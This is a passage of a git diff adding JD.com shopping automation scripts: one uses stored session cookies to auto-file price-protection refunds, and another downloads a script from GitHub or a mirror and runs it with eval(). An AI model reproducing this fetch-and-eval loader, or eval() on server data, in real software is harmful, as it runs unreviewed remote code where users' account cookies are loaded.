Env('京东保价'); + +const selfDomain = 'https://msitepp-fm.jd.com/'; +const unifiedGatewayName = 'https://api.m.jd.com/'; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', + 'https://bean.m.jd.com/', + { + 'open-url': 'https://bean.m.jd.com/', + } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + $.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + $.isLogin = false; + $.nickName = $.UserName; + await totalBean(); + if (!$.isLogin) { + $.msg( + $.name, + `【提示】cookie已失效`, + `京东账号${$.index} ${ + $.nickName || $.UserName + }\n请重新登录获取\nhttps://bean.m.jd.com/`, + { + 'open-url': 'https://bean.m.jd.com/', + } + ); + continue; + } + console.log( + `\n***********开始【账号${$.index}】${ + $.nickName || $.UserName + }********\n` + ); + try { + $.hasNext = true; + $.refundtotalamount = 0; + $.orderList = new Array(); + $.applyMap = {}; + $.token = ''; + $.feSt = 'f'; + console.log(`💥 获得首页面,解析超参数`); + await getHyperParams(); + // console.log($.HyperParam) + console.log(`----------`); + console.log(`🧾 获取所有价格保护列表,排除附件商品`); + for (let page = 1; $.hasNext; page++) { + await getApplyData(page); + } + console.log(`----------`); + console.log(`🗑 删除不符合订单`); + console.log(`----------`); + let taskList = []; + for (let order of $.orderList) { + taskList.push(historyResultQuery(order)); + } + await Promise.all(taskList); + console.log(`----------`); + console.log(`📊 ${$.orderList.length}个商品即将申请价格保护!`); + console.log(`----------`); + for (let order of $.orderList) { + await skuApply(order); + await $.wait(300); + } + console.log(`----------`); + console.log(`⏳ 等待申请价格保护结果...`); + console.log(`----------`); + for (let i = 1; i <= 30 && Object.keys($.applyMap).length > 0; i++) { + await $.wait(1000); + if (i % 5 == 0) { + await getApplyResult(); + } + } + showMsg(); + } catch (e) { + $.logErr(e) + } + } + } +})() + .catch((e) => { + console.log(`❗️ ${$.name} 运行错误!\n${e}`); + }) + .finally(() => $.done()); + +const getValueById = function (text, id) { + try { + const reg = new RegExp(`id="${id}".*value="(.*?)"`); + const res = text.match(reg); + return res[1]; + } catch (e) { + throw new Error(`getValueById:${id} err`); + } +}; + +function getHyperParams() { + return new Promise((resolve, reject) => { + const options = { + url: 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', + headers: { + Host: 'msitepp-fm.jd.com', + Accept: + 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + Connection: 'keep-alive', + Cookie: $.cookie, + 'User-Agent': + 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn', + Referer: 'https://ihelp.jd.com/', + 'Accept-Encoding': 'gzip, deflate, br', + }, + }; + $.get(options, (err, resp, data) => { + try { + if (err) throw new Error(JSON.stringify(err)); + $.HyperParam = { + sid_hid: getValueById(data, 'sid_hid'), + type_hid: getValueById(data, 'type_hid'), + isLoadLastPropriceRecord: getValueById( + data, + 'isLoadLastPropriceRecord' + ), + isLoadSkuPrice: getValueById(data, 'isLoadSkuPrice'), + RefundType_Orderid_Repeater_hid: getValueById( + data, + 'RefundType_Orderid_Repeater_hid' + ), + isAlertSuccessTip: getValueById(data, 'isAlertSuccessTip'), + forcebot: getValueById(data, 'forcebot'), + useColorApi: getValueById(data, 'useColorApi'), + }; + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + resolve(); + } + }); + }); +} + +function getApplyData(page) { + return new Promise((resolve, reject) => { + $.hasNext = false; + const { sid_hid, type_hid, forcebot } = $.HyperParam; + const pageSize = 5; + + let paramObj = { + page, + pageSize, + keyWords: '', + sid: sid_hid, + type: type_hid, + forcebot, + token: $.token, + feSt: $.feSt, + }; + + $.post(taskUrl('siteppM_priceskusPull', paramObj), (err, resp, data) => { + try { + if (err) { + console.log( + `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify( + err + )}` + ); + } else { + let pageErrorVal = data.match( + /id="pageError_\d+" name="pageError_\d+" value="(.*?)"/ + )[1]; + if (pageErrorVal == 'noexception') { + let pageDatasSize = eval( + data.match( + /id="pageSize_\d+" name="pageSize_\d+" value="(.*?)"/ + )[1] + ); + $.hasNext = pageDatasSize >= pageSize; + let orders = [...data.matchAll(/skuApply\((.*?)\)/g)]; + let titles = [...data.matchAll(/

(.*?)<\/p>/g)]; + for (let i = 0; i < orders.length; i++) { + let info = orders[i][1].split(','); + if (info.length != 4) { + throw new Error(`价格保护 ${order[1]}.length != 4`); + } + const item = { + orderId: eval(info[0]), + skuId: eval(info[1]), + sequence: eval(info[2]), + orderCategory: eval(info[3]), + title: `🛒${titles[i][1].substr(0, 15)}🛒`, + }; + let id = `skuprice_${item.orderId}_${item.skuId}_${item.sequence}`; + let reg = new RegExp(`${id}.*?isfujian="(.*?)"`); + isfujian = data.match(reg)[1]; + if (isfujian == 'false') { + let skuRefundTypeDiv_orderId = `skuRefundTypeDiv_${item.orderId}`; + item['refundtype'] = getValueById( + data, + skuRefundTypeDiv_orderId + ); + // 设置原路返还 + if (item.refundtype === '2') item.refundtype = '1'; + $.orderList.push(item); + } + //else...尊敬的顾客您好,您选择的商品本身为赠品,是不支持价保的呦,请您理解。 + } + } + } + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + resolve(); + } + }); + }); +} + +// 申请按钮 +function skuApply(order) { + return new Promise((resolve, reject) => { + const { orderId, orderCategory, skuId, refundtype } = order; + const { sid_hid, type_hid, forcebot } = $.HyperParam; + + let paramObj = { + orderId, + orderCategory, + skuId, + sid: sid_hid, + type: type_hid, + refundtype, + forcebot, + token: $.token, + feSt: $.feSt, + }; + + console.log(`🈸 ${order.title}`); + $.post(taskUrl('siteppM_proApply', paramObj), (err, resp, data) => { + try { + if (err) { + console.log( + `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify( + err + )}` + ); + } else { + data = JSON.parse(data); + if (data.flag) { + if (data.proSkuApplyId != null) { + $.applyMap[data.proSkuApplyId[0]] = order; + } + } else { + console.log(`🚫 ${order.title} 申请失败:${data.errorMessage}`); + } + } + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + resolve(); + } + }); + }); +} + +// 历史结果查询 +function historyResultQuery(order) { + return new Promise((resolve, reject) => { + const { orderId, sequence, skuId } = order; + const { sid_hid, type_hid, forcebot } = $.HyperParam; + + let paramObj = { + orderId, + skuId, + sequence, + sid: sid_hid, + type: type_hid, + pin: undefined, + forcebot, + }; + + const reg = new RegExp( + 'overTime|[^库]不支持价保|无法申请价保|请用原订单申请' + ); + let deleted = true; + $.post(taskUrl('siteppM_skuProResultPin', paramObj), (err, resp, data) => { + try { + if (err) { + console.log( + `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify( + err + )}` + ); + } else { + deleted = reg.test(data); + } + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + if (deleted) { + console.log(`🚫 删除商品:${order.title}`); + $.orderList = $.orderList.filter((item) => { + return item.orderId != order.orderId || item.skuId != order.skuId; + }); + } + resolve(); + } + }); + }); +} + +function getApplyResult() { + function handleApplyResult(ajaxResultObj) { + if ( + ajaxResultObj.hasResult != 'undefined' && + ajaxResultObj.hasResult == true + ) { + //有结果了 + let proSkuApplyId = ajaxResultObj.applyResultVo.proSkuApplyId; //申请id + let order = $.applyMap[proSkuApplyId]; + delete $.applyMap[proSkuApplyId]; + if (ajaxResultObj.applyResultVo.proApplyStatus == 'ApplySuccess') { + //价保成功 + $.refundtotalamount += ajaxResultObj.applyResultVo.refundtotalamount; + console.log( + `📋 ${order.title} \n🟢 申请成功:¥${$.refundtotalamount}` + ); + console.log(`-----`); + } else { + console.log( + `📋 ${order.title} \n🔴 申请失败:${ajaxResultObj.applyResultVo.failTypeStr} \n🔴 失败类型:${ajaxResultObj.applyResultVo.failType}` + ); + console.log(`-----`); + } + } + } + return new Promise((resolve, reject) => { + let proSkuApplyIds = Object.keys($.applyMap).join(','); + const { pin, type_hid } = $.HyperParam; + + let paramObj = { + proSkuApplyIds, + pin, + type: type_hid, + }; + + $.post(taskUrl('siteppM_moreApplyResult', paramObj), (err, resp, data) => { + try { + if (err) { + console.log( + `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify( + err + )}` + ); + } else if (data) { + data = JSON.parse(data); + let resultArray = data.applyResults; + for (let i = 0; i < resultArray.length; i++) { + let ajaxResultObj = resultArray[i]; + handleApplyResult(ajaxResultObj); + } + } + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(functionid, body) { + let urlStr = selfDomain + 'rest/priceprophone/priceskusPull'; + const { useColorApi, forcebot } = $.HyperParam; + + if (useColorApi == 'true') { + urlStr = + unifiedGatewayName + + 'api?appid=siteppM&functionId=' + + functionid + + '&forcebot=' + + forcebot + + '&t=' + + new Date().getTime(); + } + return { + url: urlStr, + headers: { + Host: useColorApi == 'true' ? 'api.m.jd.com' : 'msitepp-fm.jd.com', + Accept: '*/*', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://msitepp-fm.jd.com', + Connection: 'keep-alive', + Referer: 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', + 'User-Agent': + 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1', + Cookie: $.cookie, + }, + body: body ? `body=${JSON.stringify(body)}` : undefined, + }; +} + +function showMsg() { + console.log(`🧮 本次价格保护金额:${$.refundtotalamount}💰`); + if ($.refundtotalamount) { + $.msg( + $.name, + ``, + `京东账号${$.index} ${$.nickName || $.UserName}\n🎉 本次价格保护金额:${ + $.refundtotalamount + }💰`, + { + 'open-url': + 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', + } + ); + } +} + +function totalBean() { + return new Promise((resolve) => { + const options = { + url: `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + headers: { + Accept: 'application/json,text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-cn', + Connection: 'keep-alive', + Cookie: $.cookie, + Referer: 'https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2', + 'User-Agent': + 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1', + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + return; + } + $.isLogin = true; + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function jsonParse(str) { + if (typeof str == 'string') { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg( + $.name, + '', + '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie' + ); + return []; + } + } +} +// https://github.com/chavyleung/scripts/blob/master/Env.js +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_rankingList.js b/backUp/jd_rankingList.js new file mode 100644 index 0000000000..f10e5173d6 --- /dev/null +++ b/backUp/jd_rankingList.js @@ -0,0 +1,60 @@ +/* + +活动入口:京东APP首页-更多频道-排行榜-悬浮按钮 + +自用 +author:yangtingxiao +github: https://github.com/yangtingxiao + */ +const $ = new Env('京东排行榜'); +main(); +async function main() { + $.http.get({url: `https://purge.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_rankingList.js`}).then((resp) => { + if (resp.statusCode === 200) { + console.log(`${$.name}CDN缓存刷新成功`) + } + }); + await updateShareCodes(); + if (!$.body) await scriptsCDN(); + if ($.body) { + eval($.body); + } +} +function updateShareCodes(url = 'https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function scriptsCDN(url = 'https://raw.fastgit.org/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.body = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let 